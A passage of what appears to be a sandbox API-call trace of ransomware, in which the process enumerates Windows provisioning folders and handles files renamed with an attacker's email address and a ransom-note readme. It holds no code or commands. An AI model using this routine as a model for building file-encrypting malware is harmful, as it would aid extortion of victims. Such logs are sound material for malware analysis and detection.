_Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*" [0176.325] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021648 [0176.325] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\*", lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cbf5e59, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cbf5e59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80660 [0176.327] wcscmp (_String1=".", _String2=".") returned 0 [0176.327] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x217b4a1a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cbf5e59, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cbf5e59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.327] wcscmp (_String1="..", _String2=".") returned 1 [0176.328] wcscmp (_String1="..", _String2="..") returned 0 [0176.328] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54075ff8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54075ff8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8cb5d4f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="0__POW~1.D0E")) returned 1 [0176.328] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.328] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.328] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe1b30 [0176.328] wcscpy (in: _Dest=0x2fe1b30, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" [0176.328] wcscat (in: _Dest=0x2fe1b30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" [0176.328] wcscat (in: _Dest=0x2fe1b30, _Source="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0176.712] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5409c262, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5409c262, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8cbf5e59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x9c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="1__POW~1.D0E")) returned 1 [0176.712] wcscmp (_String1="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.712] wcscmp (_String1="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.712] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe23b8 [0176.712] wcscpy (in: _Dest=0x2fe23b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime" [0176.712] wcscat (in: _Dest=0x2fe23b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\" [0176.712] wcscat (in: _Dest=0x2fe23b8, _Source="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.712] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe23b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0176.713] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb5d4f5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cb5d4f5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cb5d4f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.713] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.713] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.713] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cb5d4f5, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cb5d4f5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cb5d4f5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.713] FindClose (in: hFindFile=0x2f80660 | out: hFindFile=0x2f80660) returned 1 [0176.714] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021648) returned 1 [0176.714] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7ea0) returned 1 [0176.714] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0aee0) returned 1 [0176.714] RtlExitUserThread (Status=0x0) Thread: id = 2475 os_tid = 0x82c [0176.328] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.329] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.329] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.329] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.329] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cc38) returned 1 [0176.329] RtlExitUserThread (Status=0x0) Thread: id = 2476 os_tid = 0x600 [0176.330] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa6668 [0176.330] wcscpy (in: _Dest=0x2fa6668, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" [0176.330] wcscat (in: _Dest=0x2fa6668, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" [0176.330] wcscat (in: _Dest=0x2fa6668, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*" [0176.330] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30218b0 [0176.330] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*", lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cc6857e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc6857e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80320 [0176.330] wcscmp (_String1=".", _String2=".") returned 0 [0176.330] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cc6857e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc6857e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.330] wcscmp (_String1="..", _String2=".") returned 1 [0176.331] wcscmp (_String1="..", _String2="..") returned 0 [0176.331] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f405fa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f405fa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8cc1bff9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xdac, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.331] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.331] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.331] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe2c40 [0176.331] wcscpy (in: _Dest=0x2fe2c40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" [0176.331] wcscat (in: _Dest=0x2fe2c40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" [0176.331] wcscat (in: _Dest=0x2fe2c40, _Source="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2c40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc [0176.709] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8cc6857e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.709] wcscmp (_String1="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.709] wcscmp (_String1="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe2280 [0176.710] wcscpy (in: _Dest=0x2fe2280, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" [0176.710] wcscat (in: _Dest=0x2fe2280, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\" [0176.710] wcscat (in: _Dest=0x2fe2280, _Source="1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0176.710] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc1bff9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cc1bff9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc423b9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.710] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.710] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.710] FindNextFileW (in: hFindFile=0x2f80320, lpFindFileData=0x30218b0 | out: lpFindFileData=0x30218b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc1bff9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cc1bff9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc423b9, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.711] FindClose (in: hFindFile=0x2f80320 | out: hFindFile=0x2f80320) returned 1 [0176.711] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30218b0) returned 1 [0176.711] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa6668) returned 1 [0176.711] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ae18) returned 1 [0176.711] RtlExitUserThread (Status=0x0) Thread: id = 2477 os_tid = 0xaec [0176.331] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.331] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.332] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.332] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.332] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305cd50) returned 1 [0176.332] RtlExitUserThread (Status=0x0) Thread: id = 2478 os_tid = 0x838 [0176.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7220 [0176.333] wcscpy (in: _Dest=0x2fa7220, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" [0176.333] wcscat (in: _Dest=0x2fa7220, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\" [0176.333] wcscat (in: _Dest=0x2fa7220, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*" [0176.333] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021b18 [0176.333] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\*", lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cc8e7d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc8e7d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f806a0 [0176.333] wcscmp (_String1=".", _String2=".") returned 0 [0176.333] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cc8e7d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc8e7d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.333] wcscmp (_String1="..", _String2=".") returned 1 [0176.333] wcscmp (_String1="..", _String2="..") returned 0 [0176.333] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ecd6b4, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ecd6b4, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8cc8e7d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.333] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.333] wcscmp (_String1="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.334] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2fa0da0 [0176.334] wcscpy (in: _Dest=0x2fa0da0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" [0176.334] wcscat (in: _Dest=0x2fa0da0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\" [0176.334] wcscat (in: _Dest=0x2fa0da0, _Source="0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0176.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8 [0176.707] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3021b18 | out: lpFindFileData=0x3021b18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc8e7d8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8cc8e7d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc8e7d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.708] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.708] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.708] FindNextFileW (in: hFindFile=0x2f806a0, lpFindFileData=0x3021b18 | out: 